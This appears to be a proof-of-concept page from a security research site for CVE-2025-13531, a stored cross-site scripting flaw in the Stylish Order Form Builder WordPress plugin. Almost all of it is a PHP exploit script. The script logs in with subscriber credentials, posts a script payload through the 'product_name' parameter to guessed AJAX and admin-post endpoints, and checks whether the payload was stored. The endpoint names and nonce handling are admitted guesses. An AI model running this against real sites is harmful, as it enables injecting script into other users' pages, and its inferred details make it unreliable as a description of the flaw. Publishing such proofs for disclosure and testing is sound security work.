CVE-2025-13531: Stylish Order Form Builder <= 1.0 – Authenticated (Subscriber+) Stored Cross-Site Scripting via 'product_name' Parameter (stylish-order-form-builder)

// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2025-13531 - Stylish Order Form Builder <= 1.0 - Authenticated (Subscriber+) Stored Cross-Site Scripting via 'product_name' Parameter

<?php
/**
 * Proof of Concept for CVE-2025-13531
 * Assumptions based on metadata:
 * 1. Plugin uses AJAX or admin-post endpoints for form submissions
 * 2. 'product_name' parameter accepts unsanitized input
 * 3. Subscriber-level users can access the vulnerable endpoint
 * 4. Plugin slug 'stylish-order-form-builder' maps to action names
 */

$target_url = 'http://target-site.com'; // CHANGE THIS
$username = 'subscriber_user'; // CHANGE THIS
$password = 'subscriber_pass'; // CHANGE THIS

// XSS payload - modify as needed
$malicious_product_name = '<script>alert("Atomic Edge XSS Test");</script>';

// WordPress login to obtain authentication cookies
$login_url = $target_url . '/wp-login.php';
$login_data = array(
    'log' => $username,
    'pwd' => $password,
    'wp-submit' => 'Log In',
    'redirect_to' => $target_url . '/wp-admin/',
    'testcookie' => '1'
);

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $login_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($login_data));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEJAR, 'cookies.txt');
curl_setopt($ch, CURLOPT_COOKIEFILE, 'cookies.txt');
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
$response = curl_exec($ch);

// Check login success by looking for dashboard redirect
if (strpos($response, 'wp-admin') === false) {
    die('Login failed. Check credentials.');
}

// Attempt exploitation via likely AJAX endpoint
// Common WordPress pattern: /wp-admin/admin-ajax.php?action=plugin_prefix_action
$ajax_url = $target_url . '/wp-admin/admin-ajax.php';
$exploit_data = array(
    'action' => 'stylish_order_form_builder_save_product', // Inferred action name
    'product_name' => $malicious_product_name,
    // Additional parameters may be required based on plugin functionality
    'nonce' => 'inferred_or_bruteforced', // Nonce may be required but could be bypassed
    'product_id' => '1', // Assuming product ID parameter exists
    'product_price' => '10.00' // Additional required fields
);

curl_setopt($ch, CURLOPT_URL, $ajax_url);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($exploit_data));
$ajax_response = curl_exec($ch);

// Alternative: Try admin-post.php endpoint
$admin_post_url = $target_url . '/wp-admin/admin-post.php';
$admin_post_data = array(
    'action' => 'stylish_order_form_builder_update',
    'product_name' => $malicious_product_name,
    'submit' => 'Save Changes'
);

curl_setopt($ch, CURLOPT_URL, $admin_post_url);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($admin_post_data));
$admin_post_response = curl_exec($ch);

curl_close($ch);

// Verify payload was stored by checking if it appears in page output
$check_url = $target_url . '/?post_type=stylish_order_form';
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $check_url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEFILE, 'cookies.txt');
$page_content = curl_exec($ch);
curl_close($ch);

if (strpos($page_content, $malicious_product_name) !== false) {
    echo "SUCCESS: XSS payload appears to be stored. Check $target_url for script execution.n";
} else {
    echo "Payload may not have been accepted. Try different endpoints or parameters.n";
    echo "Common WordPress endpoints to test:n";
    echo "- /wp-admin/admin-ajax.php with various 'action' parameter valuesn";
    echo "- /wp-admin/admin-post.php with various 'action' parameter valuesn";
    echo "- Direct plugin file: /wp-content/plugins/stylish-order-form-builder/n";
}

// Cleanup
if (file_exists('cookies.txt')) {
    unlink('cookies.txt');
}
?>